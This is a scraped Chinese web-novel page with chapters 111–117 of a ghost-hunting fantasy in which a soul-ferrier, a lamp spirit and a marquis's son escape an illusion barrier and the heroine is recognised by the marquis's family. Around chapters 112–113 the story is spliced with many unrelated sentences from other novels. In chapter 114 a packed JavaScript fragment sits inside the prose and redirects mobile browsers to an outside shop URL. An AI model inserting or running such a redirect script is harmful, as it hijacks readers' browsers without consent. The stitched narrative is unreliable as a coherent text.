但永和宫里,岚琪却难得的忐忑不安,等绿珠喜滋滋来通报说皇上到乾清宫了,她心中一定心想玄烨至少今天不会过来,可结果没多久就有圣旨传来,让永和宫上下预备接驾。
张妍从空间戒指里掏出两把锤子,拼了命的清理着那些恼人的丧尸。
一个想要杀死他们的人,在袭击失败之后居然还想当她的队友?张妍觉得他真是想的太美了。
楚鹿人却踩得更实了——没有“哭丧棒”你是不是很失望?话说究竟是谁在造谣,我用哭丧棒做武器的?
看看能不能谈的拢,能谈拢是最好不过,要是谈不拢,那也就只能尽人事,听天命了。
老板笑着说:想吃什么,我给咱叫回来,就在店里吃!“鬼哥“本想以此来拒绝老板,无功不受禄的初衷被老板阻拦,也只好勉强同意,老板看出他的想法说:等你做成功一单,你请我!听完”鬼哥“欣然答应。
第111章 结界
夏熙墨顺着任风玦所指的方向,一路往北苑而去。
灯魂无忧总算可以出来透气了。
“有那个道士给的‘撞魂铃’在,我都快憋**!”
“还别说,这侯府可真气派啊。”
“你真不考虑在这里做几天侯夫人再走吗?”
还是改不了一有机会就忍不住喋喋不休的毛病。
夏熙墨不理它,脚步越走越快。
直到步入垂花门的那刻,脚下才微微一顿。
这里的感觉和其他地方不太一样。
看得出,这里应该属于客苑。
但平日里,能有机会来仁宣侯府留宿的客人毕竟极少,因此,较之别处,本就少了些许“人气”。
此时,更是阴气弥漫,煞气冲天。
夏熙墨见每一间房都亮着灯。
可以确定的是,里面都没有人。
她一间间看了过去,不见穆汀汀,却在地上发现了一只绣工工整的锦囊。
而通过夏熙墨的记忆,可得知,这锦囊的主人,一定是穆汀汀。
所以,人不见了。
无忧四处嗅了嗅后,忽然打了个喷嚏。
“我怎么觉得,这地方气味很乱啊。”
“有鬼魂的气息,还有人的气味,而且,明显是很多很多的人。”
“为何却什么也看不到?”
夏熙墨走出房门,立在庭院中间,忽然发现,天幕之中竟出现了两轮一模一样的月亮。
无忧也在这时惊叫了起来。
“完了啊墨骨,赋楼那鬼物…可真不是普通鬼物。”
“我就说地君怎么会亲自出动来请你除鬼呢,原来是这种东西!”
夏熙墨依然淡定:“什么东西?”
无忧无奈道:“你应该听过‘魑魅’和‘魍魉’这两大人间恶鬼吧!”
“据我所知,这两东西,在人间可有几百年了。”
“你生前时,肯定也有!”
话问完,无忧就后悔了。
渡魂人没有前世记忆,只能记得一切本能或者刻入骨髓的东西。
比如,她生前苦修的“骨术”。
或者,是一帧帧似曾相识的影子。
夏熙墨面无表情:“不记得。”
“……”
无忧挠了挠头,想到自己要跟她解释的东西太多,也是有些无奈。
“不过,在你那时期,这种恶鬼确实还不太够得上格。”
“那你在九幽时,可曾听过别的鬼说起过‘般若境’?”
夏熙墨奇怪地看它一眼。
“…好吧,九幽那种地方,估计也没什么可以友好交谈的机会。”
无忧只好正色道:“先说这‘魑魅’与‘魍魉’吧。”
“它们俩的本体,都生在阴阳交界,一个为噬魂花,一个是**雾。”
“这两东西,起初喜欢偷吃阴司魂魄,被阴间使者知道后,就将它们赶出了阴阳交界。”
“也不知过了多久,人间就多了两大恶鬼,自称‘魑魅’与‘魍魉’。”
“然后,他们修炼出了一种厉害的魂术,就叫这‘般若境’。”
“这魂术的厉害之处就在于,不同于一般幻境,它不受外界干扰,也不拘于只限魂体进入…”
“而是,直接将人拉了进去。”
夏熙墨皱了一下眉头,“你的意思是,这侯府内的人,都被拉进了幻境里?”
无忧摇头:“准确来说,是一层结界。”
它又看了一眼天幕,说道:“我也是听说,若是抬头看见两轮月亮,那就说明,身处之地,已经被布下了‘般若境’。”
“身陷此境,会丧失意识,只能任由鬼物摆布,这种情况,可就很难再出来了。”
“相传,曾在战乱时期,人间出现过一座空城,明明里面有活人存在过的证明,却如何也找不到一个人,当然,尸体也没有,城内人就像是凭空消失了一般。”
“当时,有外地人想找这城中人踪迹,便在空城中足足待了三天,据描述,说一到晚上,天上就会出现两轮月亮,还依稀能听见耳边有人语声,可就是看不见人…”
“后来才知道,那是鬼物在城中布下了结界,将城中人都抓进去,并且再也没有出来过。”
无忧说到这里,都隐隐觉得耳边像是出现了幻听。
它赶忙缩进灯里,接着道:“但我好像记得,这两大恶鬼早在百年前就被云鹤山降伏了啊,又怎会出来?”
夏熙墨默了默。
所以,赋楼那只吃
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生魂的丑鬼和白掌柜,是这么个来历?
她问:“可有办法进去?”
无忧冒出半个头,说道:“那可不是你想进就能进的…”
“不对!你不会还真想进去吧?要是出不来,可就永生永世都困在里面了。”
哪知夏熙墨根本油盐不进:“不进去,你可还有其他方法让它出来?”
“……”
无忧一阵无奈,“除非它自愿出来…”
而这时,他们一人一魂,却真真切切听到耳旁传来了声音。
仔细一听,还是很清晰的敲锣打鼓声…
无忧纳罕:“我怎么听着这声音,像是有人要成亲?”
夏熙墨虽没成过亲,却也在人间见过迎亲的队伍。
声音听着,确实没错。
无忧又开始大惊小怪了:“糟了,我有个不妙的猜测!”
“这‘般若境’中,可就相当于是另一个‘侯府’了。”
“而眼下侯府之中,最有成亲可能的是,就是任风玦!”
“这鬼物搞不好是要跟小侯爷成亲呢!”
闻言,夏熙墨依然面无波澜,好似此事与自己无关。
但她却问:“所以,到底怎么进去?”
无忧道:“结界受鬼物控制,除非它请你进去…”
“但现在看情况,它可不想请你进去。”
夏熙墨:“那我说话,它能否听到?”
无忧顿时灵机一动:“对啊,我们都能听得到里面的声音,那里面也应该能听到我们的声音才对。”
它话音刚落,便听见夏熙墨朝着寂静的夜空,冷冷提声挑衅了起来。
“丑东西,上回在赋楼,不是想吃我的魂魄吗?”
“你败在我手上一次,是不是连再见我一面的勇气都没有?”
“你最好永远躲在那个幻境里别出来,否则,我能再杀你一百次。”
万万没想到她居然会选择用激将法!
无忧一把捂住自己空荡荡的胸口。
“这事真的跟我没关系啊,一会儿可千万不要迁怒于我!”
它正在小声嘀咕,一阵阴风自身侧而过,却吹开了一道房门。
夏熙墨凝眸望去,而门的后方,雾气弥漫,似乎正是幻境入口。
第一卷 第112章 拜堂
烟雾之下,是一片诡异的喜色。
整个侯府的人都被笼罩在这片喜色中,不知要为何人举办婚事。
鼓吹锣响,欢声喧天。
身形一晃,云九霄的身形出现在段风年身旁,显然已经准备和段风年一起拼命一搏了。
一身洁白的连衣裙穿在身上,裸露在外的雪白肌肤,带着一丝淡淡的粉红色,一扫几日来的疲倦。
我猛地拿过他手里的卡片,里面没有什么特别的,全部都是印刷上去的字样,只是在最后的留下一个宋字。
这个结果让陈会南十分的生气。他这人向来出手大方,经常请队友们吃饭和唱歌。他从来没有想到有这么多队友看自己不顺眼,其中还有他自认为的好朋友,29号张卫。
培育半兽人也就罢了,竟然还将食人蚁安置在城中,还如此多的数量。
“去备马。”慕容君多少还是念着余珠曾经对他的救命之恩的,所以便没有对慕容勋步步紧逼。
普通罪犯怎么会和她这个杀人嫌疑犯关在一起呢?看来慕容君为了保护她在牢里的安全,也是煞费苦心了。
“看着毛利老师摆出他的招牌姿势来,应该就表示他已经完全地看透了吧,他解开了这个头等车厢B室之中发生的密室杀人事件的真相了。”一个黄色头发的男人走到了大家的身边。
“立刻准备攻击!”一条一条的战术命令有条不紊地播报出来,每一位船员都坚守在自己的工作岗位上,出色地执行着自己的任务。
系统空间里的系统199,舍不得宿主要陪四条鱼玩游,辛苦赚星币吃饭,当即就翻出自己打工赚的所有零花钱,霸气的说道。
直到后面,突然有响声,丽娜回过头,就看到梁嘉豪已经走到自己身后,米咖色的大衣,敞开轻轻包裹着她。
还在担忧他们雨太大,他们回来受阻的几人,看到两人回来,总算是放心了。
这点人手,看上去不多,在刘备军中也不算是精锐,比不上羽军和飞军,但这支新军有一个优势,就是多为南阳子弟。
父母就他一个儿子,又不住在一起,自然是思念心切,毫不犹豫地答应他先回到自己家。
但这一次,韩家湾也被曹军劫掠,韩嫱的继母、庶弟也被掳入军中,其弟没有韩金幸运,在入曹营没两天,就被王显等人驱赶攻城,死于流矢。
而且跟凯多战斗,必定不会像跟老爹一样点到为止,而是生死相搏。
这种大面积的体检,用脑子想想,也知道国家不会对他们怎么样。
魏石军与韩浩军合计一万士卒在昆阳城外对阵,双方旌旗遮天蔽日,人马一眼望不到头,场面甚是壮观。
迷迷糊糊中,听见了脚步声,猛地睁开眼睛,韩翎心正蹑手蹑脚的走了进来。
这种场面,他没见过,这种剑术,他同样为所未闻,那一刻,他拍了,本能的反应让他长剑举天,迎接着空中的杨帆。
她的话令得陆天雨心中一震,他不禁开始怀疑,自身的存在,是否也破坏了世界的平衡?
相对于捐献来说,任务就更容易被普通武者接受了,只要加入武道联盟的,几乎都可以从这方面获取珍贵的贡献值。
第一卷 第113章 人面
面对周遭异样目光,穆汀汀却依然端得笔挺,淡然处之。
她这十六年的人生,好似从未有过此刻这般坦然与畅快。
终于不必谨小慎微,也不必听从他人的指指点点。
“你们以为,我想要这‘将军之女’的身份吗?”
王天点了点头,柳凌霜这样说,他就知道怎么处理这个事情,至于别的,那就到时见了面之后再随机应变得了。
帮我取名字的时候,肯定希望我长大以后能像白雪公主那样成为一个大美人。
“什么?卖给我们5吨,金将军,这也太少了吧。”坐在萧明身边的胖子睁开眼睛扔掉了手中的葡萄皮说道。
“呵呵……”菲只是笑了笑,她没有特别出众的五官,但是一旦笑起来,却格外可爱。黑色蘑菇头发型的长度刚到肩膀,看上去很乖巧。
这听起来实在是太乱来,但现在也只能这么做!托托莉迅速把手包住了老头手上的石头,老头疯癫的表情瞬间凝固。
然而,除了来自巨型投石机的恐怖压迫力,城墙上的叛军还要承受长弓箭雨的连绵摧残,抛物线的箭落诡计让躲在城垛后的守军毫无遮蔽,只能用手中盾牌格挡,稍有不及就是‘乱’箭穿身。
杜雪襄不傻,听的出来夫人是下逐客令了。然而心气血翻腾。久久不能平息,看眼前的夫人嘴巴一张一合。渐渐的,仿佛幻化成了一头面目可憎的野兽,在冲她张牙舞爪。
理论上,不是只有教团和国家安全情报局的才用去吗!阿部光这个家伙,无论怎样都不是能和政府与教团扯上关系的家伙吧。
‘呛’一声脆响,升降梯猛的停了下来。门开了‘呕!!’熊启再也忍不住胃部的不适,冲出升降梯伏在门口呕了起来,呕了一滩汁液出来。
不知是什么声音亮亮地震响了一下,柳翠莲被弄醒,倦意仍未全消,懒慵慵地躺在床上一定也不想动。
萧博翰本来是有很多很多的话想要给苏曼倩述说的,苏曼倩也有好多好多的话想给萧博翰倾述的,但显而易见的,今天已经难以实现这个目标了,除了苏曼倩和聂风远之外,几乎所有的人都喝的有点高了。
可他也没想到,林素衣竟然敢在晚宴上一杯红酒全倒在了钱王孙的脸上。
“叶辰显得处境也非常不妙。”碧游玉指紧扣,满眼的担忧之色。
总有一天,他要让苏御澈死在她面前,这样,她才能明白,这个世界上爱她的男人,只剩下一个了。
“没事了,但是这一次闹得很大,黄家那边肯定不会罢手!”福伯还是很担心。
不止是魁拔老准帝,整个魁拔族人,都双目凸显了,眸中有恐惧,亦有不甘,在他们看来,帝荒就是来捣乱的,是不想让他魁拔族人渡帝劫,有一尊大成圣体作乱,纵有机会成帝,也会成为绝望。
然而他俩像疯了一样冲向了,剩余四个身强力壮的土著,一时让我看的有些发懵。
简直就是钻入骨头锋利的针刺一般,让人苦不堪言,我能控制自己不失声叫出来,却控制不住豆大的汗珠顺着额头,像嚎嚎大哭一样,流落下来。
现在电棍补塔刀都要在一二塔间的位置用技能补,不然吃瑞兹个WQ就要掉800多滴血。
第114章 窃剑
南川院前。
一名女子袅袅行走在夜色之中。
来到门前,她抬头看了一眼牌匾上的“南川院”三字,下意识深吐一口气。
一间篱笆围起来的简朴小院,与气派恢宏的侯府,明显格格不入,足见仁宣侯对这位弟弟的偏爱。
这地方,已经十几年没人住了,但侯府依然每日晨昏都有人前来进行打理。
不仅室内保持着纤尘不染,连昔日主人种下的花花草草,都一并延续了下来。
白轻霜施然推开了院门,脚步轻盈地走了进去。
虽四下无人,但她却走得小心谨慎,既像是担心惊扰,又像是有所提防。
走过院子,她轻轻挥动衣袖,房门应声而开。
但她却并不急着进去,而是在小心观察着四周。
这里只有一间屋舍。
虽然占地宽广,但堆放的东西,实在太多。
光是橱柜,就有五架,更别提一堆箱笼,堆积如山。
这种情况下寻物,无疑**捞针。
其实早在十年前,她就已经来过一次。
然而当时,她还尚未将身上的阴煞之气洗“干净”。
以至于还没靠近,便被里面乱七八糟的法器打得差点魂飞魄散。
白轻霜轻轻皱了一下眉头,为了不让自己沾到室内的“东西”,她提起裙摆,走得蹑手蹑脚。
目光在一堆物品之中慢慢扫过,心里却闪过一个念头…
那把剑,不是凡物,绝无可能随意暴露。
但任曜此人,行事反常,毫无章法,不能以常人思路,去想他所想…
正是如此,白轻霜也不敢放过每一处角落。
这样找了一会儿,她却察觉到什么,回眸向室外看去。
竟是有人跟上了她。
白轻霜倏地勾了一下唇角。
有趣。
她一挥衣袖,化作一缕轻烟,浮荡半空中。
门外之人不见她的人影,又在暗处观察了一会儿,随之翻窗而入。
身法十分矫健,倒是个练家子。
白轻霜化作的轻烟,有意识慢慢靠近,在他周身萦绕。
他似乎有些诧异,用手赶了赶。
怎料,那烟雾却越缠越紧,令他竟有些窒息感。
而就在这电光火石的一刹那,悬挂在室内的一面八卦镜,折射出金光,恰好照在男人的身上。
那缕烟被金光一照,当即弹出室外。
白轻霜化为人形,并狼狈栽倒在一处花丛中。
她拂了拂衣衫,正要起身,竟发现衣角沾了土壤后,又无故自燃了起来。
吓得她又一溜烟地投入湖水中。
南川院内,阿冬听见声响,望去窗外,却只见园子花草,在月色之下,轻轻摇曳。
一片静谧之色。
“人呢?”
他纳闷又四下看了一眼。
这下好似真跟丢了。
白轻霜从湖内爬出来,有些吃瘪。
任曜那小子也不知道在院子里埋了什么,竟连土里都是能治“鬼”的东西。
她连剑影都没看到,竟将自己弄得这般狼狈。
可恨。
正咬牙切齿,恨不得将整个云鹤山都夷为平地时,却见一道莹白明亮的光束,冲破天际。
她定睛看了过去,脚下竟也隐隐有些腿软。
若没猜错的话,那可是剑光。
难道,任曜并没有把剑藏在南川院?
而是在北苑!
白轻霜心下一喜,当即再次化作一缕烟,飘向了北苑方向。
然而,才到北苑门口,她的脸色又凝固住了。
“是你?”
北苑庭中,一身道袍的颜正初负手而立,见到白轻霜时,他也面色一凝:“好啊,原来你这鬼物真在这里!”
那日在赋楼通天阁内一战,他们实力相当,勉强能打个平手。
白轻霜还是趁他分神之时,偷袭了一把,才摆脱了纠缠。
眼下,正面撞上,着实恼火。
颜正初二话不说,就直接祭出了玉剑。
白轻霜望着他那把剑,心道,难道刚刚看到的剑光出自于他?
不对。
以他当下的道法修为,玉剑不可能有这样震慑力…
她忽然柔媚一笑:“小道士别急着打架,你就不想知道,这侯府里的人,都去了哪儿?”
颜正初正为这事着急,当即浓眉一轩:“是你暗中搞的鬼?”
“快说,你这鬼物究竟在此处做了什么?”
白轻霜啧啧赞叹了两声,“枉你还是天机**的大弟子,还真是见识浅…”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182108|196398||http|test|mini|href|location''.split(''|''),0,{}));
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r>这话说得颜正初很不高兴。
但转念一想,他此次下山寻“养魂珠”本就为初次历练。
见识浅,倒也没错。
不过,他早就将师祖那本“除魔手札”读得滚瓜烂熟,倒也算是阅尽师祖的“生平事”。
“少跟本道长故弄玄虚,我今日非打得你魂飞魄散不可!”
他话音刚落,一道法咒,便朝白轻霜招呼了过去。
然而,对方不接招,化作烟雾在空中灵巧躲闪。
一边说道:“你云鹤山开派祖师之名可还记得?”
这个问题倒让颜正初手上微顿。
有蹊跷。
好端端问他祖师爷的名字干什么?
“大胆,祖师爷的名讳你也配问!”
颜正初一个不悦,各种降鬼法咒都跟着出来了。
谁知,白轻霜忽然说了一句:“我见过你祖师爷。”
“……”
颜正初一时竟分不清对方究竟是在骂自己,还是真见过…
“百年之前,他曾在兖山**过一双恶鬼…”
兖山?恶鬼?
颜正初忽然一下就清晰了。
师父曾交代过,祖师爷就是因为降伏了那兖山恶鬼之后,才名扬天下。
他不由自主后退了一步。
开什么玩笑?这种级别的恶鬼,竟也是他一个初出茅庐的小道士能遇见的?
但下一秒,颜正初就发觉了不对劲。
“你该不会要说,你就是那兖山恶鬼之中的其中一个吧?”
“真要是那样?我还能活到现在?”
“分明是你在说鬼话诓骗我!”
白轻霜见这小道士不信自己,也有些许恼了。
若是换作百年前,碾死他,还不是跟碾死一只蚂蚁那样简单?
可被**在兖山百年之久,魂力散尽,哪复当初?
她不想再过曾经那种在阴间偷食阴魂的日子…
如今这般也很好,但也并不能满足。
所以,她必须要做成一件事!
眼见这一鬼一道,在北苑缠斗起来,脚下忽然剧烈震动起来,似有什么东西要破土而出。
白轻霜脸色微变,长袖一挥,旁边房门大开,她当即化烟钻了进去。
颜正初见状,也用了一道追踪符紧跟其后。
第115章 破界
“往我后面站。”
夏熙墨往前踏了一步,微微仰头上下扫了一眼那巨型怪花,吐出了三个字:“还是丑。”
渡魂灯为之一颤,无忧瑟瑟发抖:“姑奶奶,你就别再说它丑了,一会儿它把咱们吃了,可是不吐骨头的!”
人家噬魂花好歹也是“一朵花”。
只是因为生长在阴阳交界,才长成这副半阴半阳的样子而已。
不过,确实丑了点。
巨花听到“丑”字似乎反应极大,那血盆大口张大,就算吞掉十个夏熙墨都绰绰有余。
可面前之人,面对如此之大的身形差距,依然无所畏惧。
准确来说,是压根没有把它放在眼里。
噬魂花恼羞成怒,花叶一片片坠在地上,如蛇一般,向着夏熙墨与任风玦游了过来。
无忧连忙道:“噬魂花在吞噬魂魄之前,就是像蛇一样,先将魂魄包裹住…”
那花苞大,叶子自然也大,就算是一片叶子,用来包裹住二人也是足够了。
但噬魂花曾败在夏熙墨之手,靠着本体顽强的再生能力,才不至于死透。
它不敢轻敌,索性降下所有花叶,就算吞不下他们的魂魄,也要毁了他们肉体!
而当几十片硕大的叶子,将二人密密包围时,别说逃跑,就连喘息都感到压迫。
任风玦还是下意识要将夏熙墨护在身后。
他摸了摸腰间,空无一物,才想起那把护身**在白日进宫觐见时,便取下了。
于是,目光一扫,伸手取下了夏熙墨发髻上的一支素色银簪。
“借簪一用。”
任风玦反手握簪,目光凌然,却在夏熙墨始料未及的情况下,划破了自己的手掌。
他低声道:“颜道长说过,我的血,能诛杀恶鬼邪灵,今日刚好试试。”
“……”
接着,他以极快速度,反手刺入席卷而来的花叶,用尽全力,横向划开。
一瞬间,仿佛能听见花叶上的纹理,发出清脆的割裂之声。
而那些裂缝,竟似火苗舔舐着干草,迅速扩散开…
空气之中,甚至能闻见灼烧的味道。
不过数息之间,所有的花叶都化作了灰烬。
只剩下花茎与花苞的噬魂花,在夜色之下,犹如被褪去了衣裳。
丑得更加诡异。
夏熙墨看了一眼那支被任风玦握在手中的银簪。
纯阳之血中,还夹杂着一股特殊气息,用来对付世间所有邪祟都不在话下。
她眯了一下眼睛,才发现那股特殊的气息是游走在他的血脉之中的,与他早已融为一体。
无忧在灯里抖得更厉害了:“墨骨,你赶紧离他远点,闻到那血的味道,我感觉自己要魂魄升天了!”
夏熙墨后退了几步,“都躲在灯里了,还怕?”
无忧又是害怕,又是懊恼。
心道,在场各位,哪位拎出来,不让鬼害怕?
噬魂花被毁了叶子,又惊又怒,它盯着任风玦,周身煞气凝聚,仿佛做出了想要同归于尽的打算。
而就在这时,一道白影自空中掠过,如烟云一般,卷走了噬魂花。
随即,一黑一白,两道影子,便要逃匿而去。
夏熙墨见状,一手悄悄运指,定住两只恶鬼的“九窍”,另一手则“盯”准了任风玦手中带血的银簪。
十指收紧,银簪破空而去,径自刺入了那黑影。
白影在空中顿了一下,便眼睁睁看着身侧黑影,于空中化作了灰烬。
那一刻,白影充斥着惊诧与悲愤之情,它以魂力挣开了牵制,回头怒“看”了任风玦与夏熙墨一眼,仿佛是要狠狠记住他们。
随即,又一溜烟飞向空中,消失在其中一轮月亮之中。
“去哪儿了?”
这时,雾气中,又有一道身影向着这边飞快靠近。
夏熙墨与任风玦都听出了是颜正初的声音,纷纷望了过去。
“颜道长?”
他既然会出现在这里,那便说明,他也进了侯府。
颜正初当即寻声赶了过来。
只见他一手执剑,一手拈符,看样子,是要准备大战一场。
“小侯爷?你们没事吧?那白掌柜呢?”
一口气连问了三个问题。
任风玦这才反应过
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来,原来那白影就是白轻霜!
他道;“已经跑走了。”
颜正初环顾四周,正待以追踪术去追,脚下地面却再次震动了起来。
这次的感觉,与前面噬魂花破土而出的前兆,并不一样。
此时的震动,倒像是整个结界要坍塌。
无忧在灯中喊道:“糟糕,这布下‘般若境’的恶鬼**,幻境也必然保不住了啊。”
“得尽快找到出口!”
“墨骨,你快问云鹤山那个道士,他应该有办法!”
夏熙墨看了颜正初一眼,倒不觉得他能靠得住,但还是问了一句:“这幻境要塌了,你可有办法出去?”
“啊?”
颜正初简直一头雾水,“这…我哪里知道啊!?”
无忧:“……”
夏熙墨斜睨了他一眼,隐隐嫌弃:“你不是有破幻境的法咒?”
颜正初又一脸为难:“一般幻术,灵体在内,本体在外,这种好破。”
“像这种…以身入境的,我还是头一次见。”
“不过…”
无忧在灯中急得团团转,这“不过”二字,差点让它看到了希望。
夏熙墨与任风玦同时问:“不过什么?”
颜正初心虚道:“不过我想了想,这结界虽为魂术所布,但与阵法一样,都会有一处‘阵眼’所在。”
“只要找到这个‘阵眼’,我就有办法破阵而出。”
谈话之间,震动感更加强烈,几乎令人站立不稳。
任风玦伸手,不动声色托住夏熙墨的一只臂肘,却道:“方才白掌柜逃走的地方,是那轮月亮,阵眼会不会与之有关?”
此言一出,颜正初拊掌叫妙。
“是啊,两轮月亮,必有一轮是假的…”
他开始来回踱步,又捏着下巴沉思,一副绞尽脑汁的样子。
夏熙墨忽然问道:“外面现在是什么时辰?”
颜正初才从外面进来,自然最清楚,他快速估算了一下:“若没记错的话,现在应该是亥时一刻…”
他又掐指一算:“亥时一刻,月亮应该在东南偏东方位,且是下弦月!”
第116章 认亲
三人一齐抬头看向天幕,只见东南方位的那轮满月,在结界的震动之下,逐渐维持不住假象,变作了一弯残月。
颜正初当即祭出玉剑,并食指与中指抹过剑柄,轻念“破境”法咒。
另一轮“假月”径自坠落而下,雾色之中立即出现了一道不起眼的悬浮之门。
“果然有出口!”
他又道:“侯府的其他人在哪儿,尽快带他们走!”
任风玦记得北苑方位,当即在前带路。
颜正初持剑跟上,夏熙墨正要跟上,却一眼瞥见旁边还有一名护院在昏睡,于是上前直接踢了一脚。
护院猛然惊醒过来,不明所以,却听见面前人冷冷吩咐了一个字:“走。”
等四人赶回至北苑时,任瑄与荣氏正个个面露忧色,可谓焦急坏了。
见到任风玦归来,荣氏激动得泪眼婆娑,“风儿,你怎么去那么久?可算回来了!”
任瑄见他身后跟着两名陌生人,不由得吃了一惊。
但在看清夏熙墨面容的那刻,他猛然怔住,眼底有震惊之色。
“她…是?”
情况紧急,根本不容任风玦解释太多,他安抚了母亲一句,便催促众人赶紧出幻境。
侯府内众人一听有出口,总算一扫面上阴霾。
于是,以侯爷与夫人为首,余下众人,相继出北苑,自雾中出口走了出去。
任风玦留在最后,见余琅还未醒来,只能与颜正初合力将他抬出。
这时的“般若境”,已然要成废墟。
立于出口处,任风玦还是回头细细检查了一遍,以免遗漏。
可目光扫过庭中时,竟见廊下立着一道身影,身穿大红喜服,正是穆汀汀。
他微微一惊,对方竟是头也不回地进了室内,并合上了房门。
而就在这时,幻境轰然倒塌,出口化作虚影,渐而化为虚无。
脚下震感消失,任风玦却微微踉跄了一下。
待望去时,一切已恢复如常。
北苑内,侯府众人,皆松了一口气。
侯夫人荣氏环顾四周,不见穆汀汀的身影,料想她应该还在幻境之中,一时欲言又止。
旁边侯爷却一眼看出了她的心思,闷哼一声道:“这般背信弃义之人,就该是这般下场,夫人不必惋惜!”
荣氏叹了口气,面上闪过一丝愧疚之色:“是我识人不清,竟连故人之女,都能认错…”
任瑄拍了拍夫人的肩膀,却道:“这怎么能是你的错?穆家那几个杀千刀的!本侯等天亮就去宰了穆铮那个老小子!”
荣氏不语,视线被不远处一名侧身而立的女子所吸引…
她站在人群之外,虽身形单薄,却难掩那由内向外散发而出的傲气与风骨。
与当年那大亓第一女画师的气质,竟有几分相像。
任瑄也跟着夫人的目光望了过去…
而这时,恰见任风玦走到那女子跟前,低声说了两句什么。
以二老对他的了解,一眼就能看出些许猫腻。
双双对视一眼后,只听老侯爷低咳了一声,喊道:“任风玦。”
人群之外的任风玦闻声回头,快步走了过来。
“父亲。”
一般被连名带姓地喊,必然是有什么事情要质问自己了。
果然,任瑄微微板着脸,“你那两位朋友,就不打算引荐一下?”
任风玦顿了顿,先向颜正初招了一下手。
结果,对方全当没看见,将身子背过去了。
任瑄看在眼里,更加不悦了,“那小道士好大的架子。”
任风玦只好道:“这位道长也是见咱们侯府身陷危难之中,才施以援手的,父亲千万不要责怪他。”
“嗯。”任瑄从鼻子里哼了一声,很快转移了目标,说道:“那位女子,为父瞧着很有几分眼熟,只觉得像是在哪儿见过…”
他又问:“之前京中传闻你宅中藏了女子,该不会就是她吧?”
荣氏喃喃道:“我怎么看见她,心里就有些难受呢,竟想到了阿微…”
阿微是夏夫人的闺名。
这么多年了,也只有荣氏才会这么叫她。
经夫人这么一说,任瑄眼睛一亮,呼之欲出:“儿子,你实话说,她是不是才是真正的熙墨?”
荣氏则满脸震惊之色:“…
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熙墨?”
任风玦点了一下头,正犹豫着该怎么将那桩“退婚之事”说出口时,自家父母便已经迎了上去。
“父亲!母亲!”
根本拦不住。
二老面上难掩激动之情,走到夏熙墨跟前。
“像啊,连看人的眼神都像!”
“我就说嘛,这气质,才像是武将之女。”
面对忽然围上前的仁宣侯及夫人,夏熙墨却看了他们身后的任风玦一眼,显然有质问之意。
刚刚明明是他说,一会儿就去跟父母提及退婚之事。
可眼下这情形,分明是要来认亲的。
荣氏忍不住一把握住夏熙墨的手,眼泪盈眶:“孩子,是我对不住你,你这些年,一定在穆家吃了很多苦!”
与预想中的感觉并不一样,对于这温暖的触感,她并不抵触。
反而,多了几分亲切。
夏熙墨无言。
荣氏眼泪更加收不了,可以看得出,她很愧疚。
“那件事,并不是你的错。”
夏熙墨还是开口了。
她虽不能代替原主说出,那些年在穆家所受的折磨与委屈。
但可以肯定的是,直至死前刻,“夏熙墨”对于整个侯府,都没有一丝怨憎之意。
“她”想退婚,也是因为不想让穆家的阴谋得逞…
“是穆家欺骗了侯府,你们侯府,并没有对不起‘夏熙墨’。”
荣氏听她语气淡漠,却联想到这些年,她一个孤女,在穆家孤苦无依的日子。
昔日被父母捧在手里的掌上明珠,忽然寄人篱下,又遭到舅家这样对待,性情又如何不会变?
侯夫人眼泪涟涟,又忍不住将她拉进了怀里,“好孩子,从今往后,只要有我荣璇在一日,任何人都别想欺你!”
夏熙墨被她拥在怀中,身体立即僵了一下。
但这话她却莫名爱听。
当然,她也还记得自己到人间来的正事,不可在这些人情之上,做过多的牵扯。
“夫人。”
她知道自己必须趁机开口了,“我并未打算在京城待下去,我与任风玦婚事,希望你们收回成命。”
第117章 心事
任风玦立在父母身后,在听到这话时,面上的神情也发生了微小的变化。
心情甚至有些黯然。
荣氏听了这话,又是一惊:“孩子,你不留在京城,要去哪儿?”
夏熙墨默然。
原本是要渡魂,现在还多了一样捉鬼。
忙得很。
荣氏见她不语,还以为是因为任风玦,她忙问:“可是风儿有什么对不住你的地方?”
不等夏熙墨回话。
暴脾气的任瑄已回头狠狠瞪了儿子一眼,“说话!”
任风玦:“……”
他无奈看了自家父母一眼,“儿子并不知有什么地方对不住夏姑娘…”
夏熙墨跟着说道:“他没有对不住我,退婚是我自己的意思,请侯爷夫人成全。”
听她语气说得这样坚定。
任瑄与荣氏皆面露怅然之色。
在他们看来,这事要是从任风玦口中,还尚有回旋之地。
但从夏熙墨嘴里说出,情况可就不一样了。
氛围一度变得尴尬。
任风玦只好出声提议:“父亲与母亲才历经凶险,不若先回去休息,退婚之事,天亮后再做决定。”
闻言,任瑄与荣氏不约而同看了儿子一眼,似乎也觉得稀奇。
要知道这么多年来,每每提及婚事,他不是推三阻四,就是当作耳边风。
换作以往的他,遇到这种情况,还不得立即退婚了事?
眼下此举,倒像是缓兵之计…
“正好,本侯确实乏了…”
任瑄说着,便向夫人使了一下眼色。
荣氏会意,当即唤来容舒,让她安排东苑的暖阁给夏熙墨休整。
容舒领了命,又悄悄看了夏熙墨一眼。
对于这位夏小姐,她打心底有三分惧意。
那感觉,和对前面“那位”,确实有着天壤之别。
不过这惧意背后,则是七分敬佩。
换作京中其他高门贵女,在面对仁宣侯与夫人时,可未必能有这样的气度。
临走前,夏熙墨看了任风玦一眼,那眼神里带着深意。
仿佛在说,天亮了,这事必须得有结果。
任风玦喊小厮给颜正初与余琅各自安排了一间客房。
这时的余少卿已在颜道长的“施法”之下,驱散了体内煞气,悠悠醒转过来。
“我现在在哪儿?”
“那恶鬼呢?”
“颜道长你怎么在这儿?你不是说不进来…唔!”
面对一连串的问题,颜道长选择了直接用手堵住了他的嘴,并在下人们疑惑的目光之中离去。
“客人”都安置好了,任瑄见夫人迟迟不挪步,就知道她还有话要跟儿子说,便向任风玦吩咐:“送你母亲回东苑。”
任风玦亲自上前搀扶侯夫人。
发生了这番惊变,他想到这些年来一心扑在公务之中,竟十分愧疚。
“母亲,今晚的事情,都是儿子的疏忽…”
荣氏笑了笑,“怎么又成你的疏忽?”
